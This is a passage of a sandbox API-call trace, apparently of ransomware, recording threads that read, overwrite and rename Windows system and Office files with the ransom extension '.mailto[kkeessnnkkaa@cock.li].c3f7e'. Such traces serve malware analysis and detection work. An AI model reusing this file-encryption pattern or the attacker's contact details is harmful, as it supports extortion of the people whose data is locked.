	[0089.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x498ed90
	[0089.506] wcscpy (in: _Dest=0x498ed90, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml"
	[0089.506] wcscat (in: _Dest=0x498ed90, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.506] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2d33fd40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e2a510
	[0089.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a510) returned 1
	[0089.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.507] NtQueryInformationFile (in: FileHandle=0x1c68, IoStatusBlock=0x2d33fd4c, FileInformation=0x2d33fd24, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d33fd4c, FileInformation=0x2d33fd24) returned 0x0
	[0089.507] NtSetInformationFile (FileHandle=0x1c68, IoStatusBlock=0x2d33fd4c, FileInformation=0x2d33fd24, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.508] FlushFileBuffers (hFile=0x1c68) returned 1
	[0093.271] CloseHandle (hObject=0x1c68) 

Thread:
	id = 1310
	os_tid = 0x20b4

	[0089.413] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml")) returned 0x20
	[0089.414] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", dwFileAttributes=0x20) returned 1
	[0089.414] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c6c
	[0089.414] GetFileSizeEx (in: hFile=0x1c6c, lpFileSize=0x2d3bf9d0 | out: lpFileSize=0x2d3bf9d0*=3238) returned 1
	[0089.414] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0xca2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.415] ReadFile (in: hFile=0x1c6c, lpBuffer=0x2d3bf954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d3bf950, lpOverlapped=0x0 | out: lpBuffer=0x2d3bf954*, lpNumberOfBytesRead=0x2d3bf950*=0x4, lpOverlapped=0x0) returned 1
	[0089.465] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0089.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b28
	[0089.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0089.465] NtQuerySystemTime (in: CurrentTime=0x2d3bf930 | out: CurrentTime=0x2d3bf930*=132251868161944245) returned 0x0
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xa20a5773
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xaadd6214
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xe3fe2bd8
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x64536543
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xabf6d4e7
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xdaff73b3
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x7c857079
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x9c2645b8
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xa9f3f57d
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x6cd95e69
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xb7f4e8f1
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x108b5cd
	[0089.465] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x3953bc1c
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xd71f37e2
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x613b6ff5
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xc2ac9e4a
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x46b1b0e7
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x7436c46e
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xa3e455f
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x325238ae
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xcec3db28
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xa17acb85
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xaedc628e
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x996d8139
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x2c9e602b
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x69dd0e26
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xb6b9ef12
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x6336867d
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xbca460d0
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xee07953e
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0xdd38f244
	[0089.466] RtlRandom (in: Seed=0x2d3bf93c | out: Seed=0x2d3bf93c) returned 0x3a262ad5
	[0089.475] ReadFile (in: hFile=0x1c6c, lpBuffer=0x508b878, nNumberOfBytesToRead=0xca6, lpNumberOfBytesRead=0x2d3bf92c, lpOverlapped=0x0 | out: lpBuffer=0x508b878*, lpNumberOfBytesRead=0x2d3bf92c*=0xca6, lpOverlapped=0x0) returned 1
	[0089.475] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.475] WriteFile (in: hFile=0x1c6c, lpBuffer=0x5098080*, nNumberOfBytesToWrite=0xca6, lpNumberOfBytesWritten=0x2d3bf928, lpOverlapped=0x0 | out: lpBuffer=0x5098080*, lpNumberOfBytesWritten=0x2d3bf928*=0xca6, lpOverlapped=0x0) returned 1
	[0089.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318f8
	[0089.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5098080) returned 1
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x508b878) returned 1
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0089.502] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bc790
	[0089.503] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.503] WriteFile (in: hFile=0x1c6c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x2d3bf990, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2d3bf990*=0x155, lpOverlapped=0x0) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcc90) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc790) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318f8) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b28) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0089.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a10) returned 1
	[0089.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e02570
	[0089.513] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml"
	[0089.513] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.513] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2d3bf948, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x158) returned 0x2e2a510
	[0089.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a510) returned 1
	[0089.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.514] NtQueryInformationFile (in: FileHandle=0x1c6c, IoStatusBlock=0x2d3bf954, FileInformation=0x2d3bf92c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d3bf954, FileInformation=0x2d3bf92c) returned 0x0
	[0089.515] NtSetInformationFile (FileHandle=0x1c6c, IoStatusBlock=0x2d3bf954, FileInformation=0x2d3bf92c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.515] FlushFileBuffers (hFile=0x1c6c) returned 1
	[0093.271] CloseHandle (hObject=0x1c6c) 

Thread:
	id = 1311
	os_tid = 0x1384


Thread:
	id = 1312
	os_tid = 0x1b34


Thread:
	id = 1313
	os_tid = 0xdc8


Thread:
	id = 1314
	os_tid = 0x1554


Thread:
	id = 1315
	os_tid = 0x1530


Thread:
	id = 1316
	os_tid = 0x20b8

	[0093.844] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man")) 

Thread:
	id = 1317
	os_tid = 0x20bc

	[0093.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d616e0
	[0093.852] wcscpy (in: _Dest=0x2d616e0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0093.852] wcscat (in: _Dest=0x2d616e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0093.852] wcscat (in: _Dest=0x2d616e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*"
	[0093.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711668
	[0093.852] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*", lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x9885263d, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x9885263d, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8758
	[0093.853] wcscmp (_String1=".", _String2=".") returned 0
	[0093.853] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x9885263d, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x9885263d, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.853] wcscmp (_String1="..", _String2=".") returned 1
	[0093.853] wcscmp (_String1="..", _String2="..") returned 0
	[0093.853] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", cAlternateFileName="MASTER~1.C3F")) returned 1
	[0093.853] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2=".") returned 1
	[0093.853] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2="..") returned 1
	[0093.853] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1
	[0093.853] wcscmp (_String1="s641033.hash", _String2=".") returned 1
	[0093.853] wcscmp (_String1="s641033.hash", _String2="..") returned 1
	[0093.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476f808
	[0093.853] wcscpy (in: _Dest=0x476f808, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0093.853] wcscat (in: _Dest=0x476f808, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0093.853] wcscat (in: _Dest=0x476f808, _Source="s641033.hash" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash"

Thread:
	id = 1318
	os_tid = 0x20c0

	[0093.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481aa38
	[0093.853] wcscpy (in: _Dest=0x481aa38, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0093.854] wcscat (in: _Dest=0x481aa38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\"
	[0093.854] wcscat (in: _Dest=0x481aa38, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*"
	[0093.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711b38
	[0093.854] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x4711b38) 

Thread:
	id = 1319
	os_tid = 0x1384


Thread:
	id = 1320
	os_tid = 0x1f90


Thread:
	id = 1321
	os_tid = 0x20c4

	[0093.855] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js")) 

Thread:
	id = 1322
	os_tid = 0x20c8

	[0093.855] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js")) 

Thread:
	id = 1323
	os_tid = 0x20cc

	[0093.856] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css")) 

Thread:
	id = 1324
	os_tid = 0x20d0

	[0093.856] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css")) 

Thread:
	id = 1325
	os_tid = 0x20d4

	[0093.856] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf")) returned 0x20
	[0093.888] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0093.888] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0093.889] GetLastError () returned 0x5
	[0093.889] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0093.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500c440) returned 1

Thread:
	id = 1326
	os_tid = 0x20d8

	[0093.858] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf")) returned 0x20
	[0093.891] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", dwFileAttributes=0x20) returned 0
	[0093.891] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0093.891] GetLastError () returned 0x5
	[0093.891] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", dwFileAttributes=0x20) returned 0
	[0093.891] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1

Thread:
	id = 1327
	os_tid = 0x20dc

	[0093.859] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.860] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1328
	os_tid = 0x20e0

	[0093.860] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
